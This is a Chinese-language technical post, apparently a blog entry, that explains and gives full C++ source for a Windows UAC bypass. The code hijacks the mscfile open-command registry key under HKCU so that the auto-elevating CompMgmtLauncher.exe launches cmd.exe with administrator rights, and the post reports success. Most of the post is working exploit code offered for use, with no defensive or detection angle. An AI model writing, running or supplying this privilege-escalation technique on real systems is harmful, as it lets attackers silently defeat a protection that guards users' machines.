描述
- 用管理员权限运行CompMgmtLauncher.exe,由于它是白名单程序,不会被UAC拦截,可以直接以管理员权限运行
- CompMgmtLauncher的功能是去遍历指定注册表路径下的程序,并启动
- 只要在特定注册表路径下写入目标程序的路径,运行白名单程序,就可以绕过UAC,获取管理员权限运行程序
代码
- 只需要往指定注册表路径中写入目标程序路径
- 随后启动CompMgmtLauncher程序
#include "stdafx.h"
#include <Windows.h>
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}
BOOL SetReg(char* lpszExePath)
{
HKEY hKey = NULL;
::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL == hKey)
{
ShowError("RegCreateKeyEx");
return FALSE;
}
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
::RegCloseKey(hKey);
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = FALSE;
PVOID OldValue = NULL;
//关闭32位程序文件重定位
::Wow64DisableWow64FsRedirection(&OldValue);
bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
if (bRet)
{
// 运行 CompMgmtLauncher.exe
system("CompMgmtLauncher.exe");
printf("Run OK!\n");
}
else
{
printf("Run ERROR!\n");
}
// 恢复文件重定位
::Wow64RevertWow64FsRedirection(OldValue);
system("pause");
return 0;
}
结果
- 通过ProcMon查看CompMgmtLauncher读注册表操作
- 成功绕过UAC,获得管理员权限的cmd